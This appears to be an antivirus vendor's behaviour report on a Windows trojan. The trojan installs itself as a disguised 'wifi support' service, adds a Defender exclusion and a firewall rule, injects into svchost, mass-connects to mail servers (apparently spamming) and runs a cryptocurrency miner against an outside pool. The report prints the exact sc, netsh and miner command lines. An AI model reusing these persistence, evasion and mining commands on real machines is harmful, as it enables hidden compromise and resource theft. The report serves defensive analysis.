Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\ieahwofc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ieahwofc] 'ImagePath' = '%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ieahwofc] 'ImagePath' = '%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe'
Creates the following services
- 'ieahwofc' %WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d"<Full path to file>"
- 'ieahwofc' %WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ieahwofc' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\eqsiulax.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\eqsiulax.exe to %WINDIR%\syswow64\ieahwofc\eqsiulax.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx.##ubtenco.it':25
- 'pm#.###.1.0001.arsmtp.com':25
- 'mx#.###wardemail.net':25
- 'sh########l.mx.a.cloudfilter.net':25
- 'mx.#in.it':25
- 'mx.##dells.com':25
- 'ho#########.olc.protection.outlook.com':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx#.###204-14.iphmx.com':25
- 'mx.###com.psi.br':25
- 'mx.#####odecarvalho.com.br':25
- 'dn#######stmx01.email.rr.com':25
- 'mx##.mb5p.com':25
- 'mx#######302.gslb.pphosted.com':25
- 'mx#.####te.mail2world.com':25
- 'ma##.#-email.net':25
- '18#.#14.98.202':443
- 'pa####x.above.com':25
- 'cl#####an12.ilger.com':25
- 'mx#.##bloque.com':25
- 'cu#######-1.in.mailcontrol.com':25
- 'ma##.#wisscom.com':25
- 'mx.###yachts.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'ma#######r.comune.avellino.it':25
- 'mt#.###ogressive.com':25
- 'mx.##nadoo.com':25
- 're######mtp-in.amazon.com':25
- 'gq#.#witch.tv':443
- 'mx.##a.untd.com':25
- 'ma##.#zeronline.com':25
- 'mx#######005.gslb.pphosted.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx.#####.#om.cust.b.hostedemail.com':25
- 'em#.mail.ru':25
- 'mx#######c02.gslb.pphosted.com':25
- 'sm######nt06.mountsinai.org':25
- 'mx.######mail.rediff.akadns.net':25
- 'al######x-vip2.prodigy.net':25
- 'mx######1e301.pphosted.com':25
- 'mx#.##il.ovh.net':25
- 'mx.###m.kgslb.com':25
- 'mx.####cinegiuliano.com':25
- 'mx#.#ate.com':25
- 'mx######91d01.pphosted.com':25
- 'fr########eum.org.1.0001.arsmtp.com':25
- 'mx#######701.gslb.pphosted.com':25
- 'mx#.#lesa.com':25
- 'ma##.#ie.unige.it':25
- 'mx#######e02.gslb.pphosted.com':25
- 'mt#.#1cn.com':25
- 'aspmx.l.google.com':25
- 'mx##.mail.com':25
- 'mx######e6603.pphosted.com':25
- 'es##.###58-86.ca.iphmx.com':25
- 'mx.##wway.com':25
- 'r-####4.korea.com':25
- 'mx##.###us-vadesecure.net':25
- 'ma###.dveri.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx##.##il.icloud.com':25
- '17#.#13.115.153':429
- 'mx#######003.gslb.pphosted.com':25
- 'mx#######401.gslb.pphosted.com':25
- 'fa###ool.xyz':10060
- 'sm###.#ail.medcity.net':25
- 'mx#.#ailgun.org':25
- 'ma####.bezeqint.net':25
- 'mx#######a01.gslb.pphosted.com':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx#.#aver.com':25
- '17#.#13.115.158':485
- 'sv####lfheim.top':443
- 'bo###own.com':25
- '17#.#13.115.154':429
- 'fs####.###il-protect.gosecure.net':25
- '17#.#13.115.155':429
- 'mx######1-farm74.uni5.net':25
- 'ne##s.net':25
- 'in###gram.com':443
- 're###.micso.it':25
- 'ma##.####nnarocostruzioni.com':25
- 'mi#####nchronicle.com':443
- 'mx.##terbuy.it':25
- 'pb####1.pobox.com':25
- 'mx#######501.gslb.pphosted.com':25
- '15#.#40.201.174':443
- 'ma###.##tesasanpaolo.com':25
- 'si#########.secureintellicentre.net.au':25
- 're####avs.poste.it':25
- '80.#6.75.4':429
- 'mx#.##brielli.it':25
- 'my###.express.dhl':443
- 'ma####.exxonmobil.com':25
- 'mx.##titour.it':25
- 'mx#######c01.gslb.pphosted.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'mx#######601.gslb.pphosted.com':25
- 'google.com':80
- '17#.#13.115.157':429
- '17#.#13.115.156':429
- 'mx.########e.com.cust.b.hostedemail.com':25
- 'mg#.#damant.net':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'cl#####an12.ilger.com':25
- 'pa####x.above.com':25
- 'ma##.#-email.net':25
- 'mx#.####te.mail2world.com':25
- '18#.#14.98.202':443
- 'mx#.##bloque.com':25
- 'mx##.mb5p.com':25
- 'alt1.aspmx.l.google.com':25
- 'mx#.###204-14.iphmx.com':25
- 'mx.#####odecarvalho.com.br':25
- 'cu#######-1.in.mailcontrol.com':25
- 'ho#########.olc.protection.outlook.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx#.#lesa.com':25
- 'fr########eum.org.1.0001.arsmtp.com':25
- 'mx.###m.kgslb.com':25
- 'mx#.##il.ovh.net':25
- 'al######x-vip2.prodigy.net':25
- 'ma##.#ie.unige.it':25
- 'em#.mail.ru':25
- 'al######x-vip1.prodigy.net':25
- 'pm#.###.1.0001.arsmtp.com':25
- 'ma#######r.comune.avellino.it':25
- 'ne##s.net':25
- 'mx######1-farm74.uni5.net':25
- 'mt#.#1cn.com':25
- 'mx#.#aver.com':25
- 'mx#.#ailgun.org':25
- 'fa###ool.xyz':10060
- 'ma###.dveri.com':25
- 'fs####.###il-protect.gosecure.net':25
- '80.#6.75.4':429
- '17#.#13.115.154':429
- '17#.#13.115.156':429
- '17#.#13.115.157':429
- '17#.#13.115.153':429
- '17#.#13.115.158':485
- '17#.#13.115.155':429
- 'my###.express.dhl':443
- 're####avs.poste.it':25
- '15#.#40.201.174':443
- 'pb####1.pobox.com':25
- 'bo###own.com':25
- 'mi#####nchronicle.com':443
- 'ma##.####nnarocostruzioni.com':25
- 're###.micso.it':25
- 'in###gram.com':443
- 'aspmx.l.google.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'gq#.#witch.tv':443
- 're######mtp-in.amazon.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK re##lls.com
- DNS ASK mx.##dells.com
- DNS ASK ti#.it
- DNS ASK mx.#in.it
- DNS ASK sh#w.ca
- DNS ASK sh########l.mx.a.cloudfilter.net
- DNS ASK da###lcuti.de
- DNS ASK mx#.###wardemail.net
- DNS ASK fo######onbeyondbelief.org
- DNS ASK mx#.#lesa.com
- DNS ASK us##nk.com
- DNS ASK pm#.###.1.0001.arsmtp.com
- DNS ASK cl###enco.it
- DNS ASK mx.##ubtenco.it
- DNS ASK co####.avellino.it
- DNS ASK ma#######r.comune.avellino.it
- DNS ASK re##ff.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK ms###health.org
- DNS ASK sm######nt06.mountsinai.org
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK rc#.it
- DNS ASK pm#.com
- DNS ASK el##a.com
- DNS ASK be##buy.com
- DNS ASK pa####x.above.com
- DNS ASK ti##jo.com
- DNS ASK ma##.#-email.net
- DNS ASK ex##te.it
- DNS ASK mx#.####te.mail2world.com
- DNS ASK vm#.com
- DNS ASK mx#######302.gslb.pphosted.com
- DNS ASK ro###tmal.com
- DNS ASK mx##.mb5p.com
- DNS ASK f1###chts.com
- DNS ASK mx.###yachts.com
- DNS ASK ho###on.rr.com
- DNS ASK dn#######stmx01.email.rr.com
- DNS ASK fo###comm.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK mk###t.com.br
- DNS ASK mx.###com.psi.br
- DNS ASK ne###gecorp.com
- DNS ASK mx#.###204-14.iphmx.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK cl#####an12.ilger.com
- DNS ASK ho##ail.com
- DNS ASK re####avs.poste.it
- DNS ASK ki###corp.com
- DNS ASK ly##s.com
- DNS ASK sb###obal.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK be###outh.net
- DNS ASK az###nline.com
- DNS ASK ma##.#zeronline.com
- DNS ASK al###ate.com
- DNS ASK mx#######005.gslb.pphosted.com
- DNS ASK ex##te.com
- DNS ASK ho###epot.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK ju##.com
- DNS ASK gq#.#witch.tv
- DNS ASK ma#####lace.amazon.com
- DNS ASK re######mtp-in.amazon.com
- DNS ASK ic##ud.com
- DNS ASK xa##doo.com
- DNS ASK mx.##nadoo.com
- DNS ASK an###fire.com
- DNS ASK mx.########e.com.cust.b.hostedemail.com
- DNS ASK em#.mail.ru
- DNS ASK ic##ail.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK bo#####ordoncollege.com
- DNS ASK mx#######c02.gslb.pphosted.com
- DNS ASK fr####rmuseum.org
- DNS ASK su###click.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK na##.com
- DNS ASK mx#.#ate.com
- DNS ASK of#####egiuliano.com
- DNS ASK mx.####cinegiuliano.com
- DNS ASK ha##ail.net
- DNS ASK mx.###m.kgslb.com
- DNS ASK co####.treviso.it
- DNS ASK de####isscale.com
- DNS ASK te###orm.com
- DNS ASK ci##a.com
- DNS ASK mx######1e301.pphosted.com
- DNS ASK at#.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK ta##tha.org
- DNS ASK mt#.###ogressive.com
- DNS ASK di#.#nige.it
- DNS ASK ma##.#ie.unige.it
- DNS ASK wa###nwyatt.com
- DNS ASK mx#.##il.ovh.net
- DNS ASK fr########eum.org.1.0001.arsmtp.com
- DNS ASK si###sxm.com
- DNS ASK mx#.##bloque.com
- DNS ASK el###que.com
- DNS ASK cu#######-1.in.mailcontrol.com
- DNS ASK me.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK dv##i.com
- DNS ASK ma###.dveri.com
- DNS ASK ea###link.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK ko##a.com
- DNS ASK r-####4.korea.com
- DNS ASK wi####enwest.com
- DNS ASK mx.##wway.com
- DNS ASK ij##.com
- DNS ASK es##.###58-86.ca.iphmx.com
- DNS ASK wi##ar.com
- DNS ASK mx######e6603.pphosted.com
- DNS ASK la##er.com
- DNS ASK mx##.mail.com
- DNS ASK mo##ow.com
- DNS ASK fs####.###il-protect.gosecure.net
- DNS ASK google.com
- DNS ASK mx#######003.gslb.pphosted.com
- DNS ASK up#.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK wf.com
- DNS ASK bo###own.com
- DNS ASK ma####.bezeqint.net
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK we###ngton.com
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK it##n.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK na##r.com
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK mx#.#aver.com
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK wi#####terhospital.org
- DNS ASK ad##ant.net
- DNS ASK be###int.net
- DNS ASK be###uoth.net
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK mx#.#ailgun.org
- DNS ASK la###ngroup.net
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK fa###ool.xyz
- DNS ASK hc####lthcare.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK sv####lfheim.top
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK mx.##a.untd.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK in###gram.com
- DNS ASK ec###t-br.com
- DNS ASK mx######1-farm74.uni5.net
- DNS ASK wi##.org
- DNS ASK aspmx.l.google.com
- DNS ASK 21##.com
- DNS ASK mt#.#1cn.com
- DNS ASK am###trade.com
- DNS ASK bn.com
- DNS ASK mc####ssociates.com
- DNS ASK mo###emini.com
- DNS ASK mx#######e02.gslb.pphosted.com
- DNS ASK eg#####ecarvalho.com.br
- DNS ASK mo####gstarco.com
- DNS ASK mx.#####odecarvalho.com.br
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK sw###com.com
- DNS ASK ma##.#wisscom.com
- DNS ASK no###shore.org
- DNS ASK ma##.####nnarocostruzioni.com
- DNS ASK li#e.it
- DNS ASK re###.micso.it
- DNS ASK mi##o.net
- DNS ASK di######ocostruzioni.com
- DNS ASK mi#####nchronicle.com
- DNS ASK da##tour.it
- DNS ASK mx.##titour.it
- DNS ASK ex###mobil.com
- DNS ASK ma####.exxonmobil.com
- DNS ASK oc##spa.com
- DNS ASK my###.express.dhl
- DNS ASK mx#.##brielli.it
- DNS ASK hs.#tc.com
- DNS ASK ho##ail.fr
- DNS ASK po##e.it
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ne##s.net
- DNS ASK si#########.secureintellicentre.net.au
- DNS ASK sa###oloimi.com
- DNS ASK ma###.##tesasanpaolo.com
- DNS ASK au###st.com.au
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK po##x.com
- DNS ASK pb####1.pobox.com
- DNS ASK de##rbuy.it
- DNS ASK as#.edu
- DNS ASK mx.##terbuy.it
- DNS ASK as##.gov.au
- DNS ASK mg#.#damant.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ieahwofc\eqsiulax.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ieahwofc\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqsiulax.exe" %WINDIR%\SysWOW64\ieahwofc\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ieahwofc binPath= "%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ieahwofc "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ieahwofc' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ieahwofc\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqsiulax.exe" %WINDIR%\SysWOW64\ieahwofc\
- '%WINDIR%\syswow64\sc.exe' create ieahwofc binPath= "%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ieahwofc "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ieahwofc
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
